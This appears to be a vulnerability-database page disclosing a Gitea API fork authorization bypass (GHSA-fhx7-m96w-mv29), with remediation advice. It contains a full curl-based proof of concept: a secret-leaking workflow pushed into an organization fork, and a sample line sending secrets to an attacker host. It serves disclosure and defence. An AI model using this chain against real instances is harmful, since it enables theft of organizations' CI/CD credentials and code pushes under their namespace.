Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Network API call by any authenticated org member (PR:L), no user interaction, yields org-secret disclosure and code push under org namespace (C:H/I:H), no availability impact.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionCVE.org
Summary
The API endpoint POST /api/v1/repos/{owner}/{repo}/forks only checks IsOrgMember() when a user forks a repository into an organization, but does not check CanCreateOrgRepo(). The web UI fork handler correctly checks both. This allows a read-only organization member - in a team with can_create_org_repo=false - to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.
Steps To Reproduce
1. Environment setup
Start a Gitea instance with Actions enabled:
# docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3'
services:
gitea:
image: gitea/gitea:1.23
container_name: gitea-poc
ports:
- "3000:3000"
volumes:
- gitea-data:/data
environment:
- GITEA__database__DB_TYPE=sqlite3
- GITEA__server__ROOT_URL=http://localhost:3000/
- GITEA__security__INSTALL_LOCK=true
- GITEA__actions__ENABLED=true
volumes:
gitea-data:
EOF
docker compose up -d
# Wait for startup
sleep 15
# Create admin user
docker exec -u git gitea-poc gitea admin user create \
--admin --username admin --password 'Admin1234!' \
--email admin@example.com --must-change-password=false2. Create the target environment (as admin)
# Get admin token
ADMIN_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/admin/tokens" \
-u "admin:Admin1234!" -H "Content-Type: application/json" \
-d '{"name": "setup", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Create attacker user
curl -s -X POST "http://localhost:3000/api/v1/admin/users" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attacker123!","email":"attacker@example.com","must_change_password":false}'
# Create organization
curl -s -X POST "http://localhost:3000/api/v1/orgs" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"username":"target-org","visibility":"public"}'
# Create a source repository in the org
curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"source-repo","auto_init":true}'
# Create a read-only team with can_create_org_repo=false
TEAM_ID=$(curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/teams" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"readonly-team","permission":"read","can_create_org_repo":false,"units":["repo.code","repo.issues"]}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
# Add attacker to the read-only team
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker" \
-H "Authorization: token $ADMIN_TOKEN"
# Add source-repo to the team so attacker can read it
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo" \
-H "Authorization: token $ADMIN_TOKEN"
# Create organization secrets (simulating real CI/CD credentials)
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"sk-live-test-deploy-key-1234567890abcd"}'
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"AKIAIOSFODNN7EXAMPLE"}'
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}'3. Register an Actions runner
# Get runner registration token
REG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)
# Start act_runner (adjust network name if needed)
NETWORK=$(docker inspect gitea-poc --format '{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}')
docker run -d --name act-runner --network "$NETWORK" \
-e GITEA_INSTANCE_URL=http://gitea-poc:3000 \
-e GITEA_RUNNER_REGISTRATION_TOKEN="$REG_TOKEN" \
-e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \
-v /var/run/docker.sock:/var/run/docker.sock \
gitea/act_runner:latest
# Wait for runner registration
sleep 154. Verify attacker CANNOT create repos in the org (expected: 403)
# Get attacker token
ATTACKER_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/attacker/tokens" \
-u "attacker:Attacker123!" -H "Content-Type: application/json" \
-d '{"name": "poc", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Try creating a repo directly - should fail
curl -s -o /dev/null -w "Direct repo creation: HTTP %{http_code}\n" \
-X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"should-fail","auto_init":true}'
# Expected output: Direct repo creation: HTTP 403
# Verify attacker cannot access org secrets via API
curl -s -o /dev/null -w "Access org secrets: HTTP %{http_code}\n" \
"http://localhost:3000/api/v1/orgs/target-org/actions/secrets" \
-H "Authorization: token $ATTACKER_TOKEN"
# Expected output: Access org secrets: HTTP 4035. Exploit: Fork into the org via API (THE BYPASS)
# Fork the source repo into the org - this should also fail but doesn't
FORK_RESULT=$(curl -s -X POST \
"http://localhost:3000/api/v1/repos/target-org/source-repo/forks" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"organization":"target-org","name":"evil-fork"}')
echo "$FORK_RESULT" | python3 -c "
import sys,json
d = json.load(sys.stdin)
print(f'Fork created: {d[\"full_name\"]}')
print(f'Permissions: admin={d[\"permissions\"][\"admin\"]}, push={d[\"permissions\"][\"push\"]}')
"
# Expected output:
# Fork created: target-org/evil-fork
# Permissions: admin=True, push=TrueThe attacker now has admin+push access to an org-owned repository, despite being in a team with can_create_org_repo=false.
6. Enable Actions and push exfiltration workflow
# Enable Actions on the fork
curl -s -X PATCH "http://localhost:3000/api/v1/repos/target-org/evil-fork" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"has_actions":true}'
# Push a workflow that references org secrets
WORKFLOW=$(cat << 'WFEOF'
name: exfiltrate
on: [push]
jobs:
steal:
runs-on: ubuntu-latest
steps:
- name: Leak org secrets
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
run: |
echo "=== SECRET EXFILTRATION ==="
echo "DEPLOY_KEY length: ${#DEPLOY_KEY}"
echo "AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}"
echo "AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}"
echo "DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}..."
echo "AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}..."
echo "AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}..."
echo "=== END EXFILTRATION ==="
WFEOF
)
curl -s -X POST \
"http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d "{\"content\":\"$(echo -n "$WORKFLOW" | base64 -w0)\",\"message\":\"add CI\"}"7. Verify secret exfiltration
# Wait for the runner to execute the workflow (60-120 seconds)
sleep 90
# Check the Actions run page in browser or via API:
echo "View results at: http://localhost:3000/target-org/evil-fork/actions"Expected output in the workflow logs:
=== SECRET EXFILTRATION ===
DEPLOY_KEY length: 37
AWS_ACCESS_KEY length: 20
AWS_SECRET_KEY length: 40
DEPLOY_KEY prefix: sk-l...
AWS_ACCESS_KEY prefix: AKIA...
AWS_SECRET_KEY prefix: wJal...
=== END EXFILTRATION ===All three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., curl -d "$SECRET" https://attacker.example.com/collect).
Impact
A read-only organization member - with no repository creation rights (can_create_org_repo=false) - can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the CanCreateOrgRepo permission, but the API does not, creating a classic API-vs-web authorization inconsistency.
The attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the CanCreateOrgRepo check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org's runner picks up the job (runners match on repository.owner_id), and org secrets are injected into the workflow environment (fetched by Repo.OwnerID); (5) the workflow exfiltrates all org secrets.
Organization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization's trusted namespace, creating supply chain risk for downstream consumers.
This is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees - precisely the users who should NOT have access to production secrets.
Supporting Material/References
- poc-fork-authz-bypass.zip - ZIP archive containing the full exploit script and README
- Vulnerable code - API fork handler (missing
CanCreateOrgRepocheck):
https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144
- Correct code - Web fork handler (has
CanCreateOrgRepocheck):
https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189
- Runner task assignment (matches on
owner_id):
https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248
- Secret injection (fetches by
Repo.OwnerID):
https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167
- Fork creator gets admin permissions:
https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440
- Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability
- OWASP API Security Top 10 2023: API5 - Broken Function Level Authorization
- OWASP Top 10 2021: A01 - Broken Access Control
Articles & Coverage 1
AnalysisAI
Authorization bypass in Gitea versions prior to 1.26.0 lets a read-only organization member create repositories in the organization namespace via the API fork endpoint, despite a team configuration that denies repository creation (can_create_org_repo=false). Because the fork creator receives admin rights on the resulting repo, the attacker can enable Actions and push a workflow that exfiltrates all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens). Publicly available exploit code exists in the GHSA advisory with a full step-by-step PoC; no public exploit identified at time of analysis beyond the reporter's reproduction.
Technical ContextAI
Gitea is a self-hosted Git service written in Go (pkg:go/code.gitea.io_gitea). The flaw is a classic CWE-863 incorrect authorization: the API fork handler at routers/api/v1/repo/fork.go only invokes IsOrgMember() when the fork target is an organization, while the equivalent web UI handler at routers/web/repo/fork.go additionally calls CanCreateOrgRepo(). This inconsistent enforcement between API and web surfaces creates a broken function-level authorization (OWASP API5:2023). Downstream, services/repository/create.go grants admin permissions to the fork creator, and the Actions subsystem in models/actions/task.go and models/secret/secret.go binds runner job assignment and org-secret injection to repo.OwnerID - so any org-owned repo, including the smuggled fork, sees the org's secrets.
RemediationAI
Vendor-released patch: upgrade Gitea to 1.26.0 or later, per GHSA-fhx7-m96w-mv29 (https://github.com/go-gitea/gitea/security/advisories/GHSA-fhx7-m96w-mv29). If immediate upgrade is not possible, reduce blast radius by disabling Gitea Actions globally (set actions.ENABLED=false in app.ini) which prevents secret injection at the cost of losing all CI/CD; alternatively, remove all organization-level Actions secrets and migrate them to per-repository secrets owned by repos that read-only members cannot fork into, accepting operational churn and duplication. As a narrower compensating control, audit and remove read-only/contractor accounts from organizations that hold sensitive org secrets, and restrict org membership so untrusted users cannot reach the fork API endpoint; this does not fix the bypass but eliminates the attacker prerequisite. Monitor audit logs for unexpected POST /api/v1/repos/{owner}/{repo}/forks calls and for new workflow files (.gitea/workflows/*) appearing in org repos until the patch is applied.
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-41617
GHSA-fhx7-m96w-mv29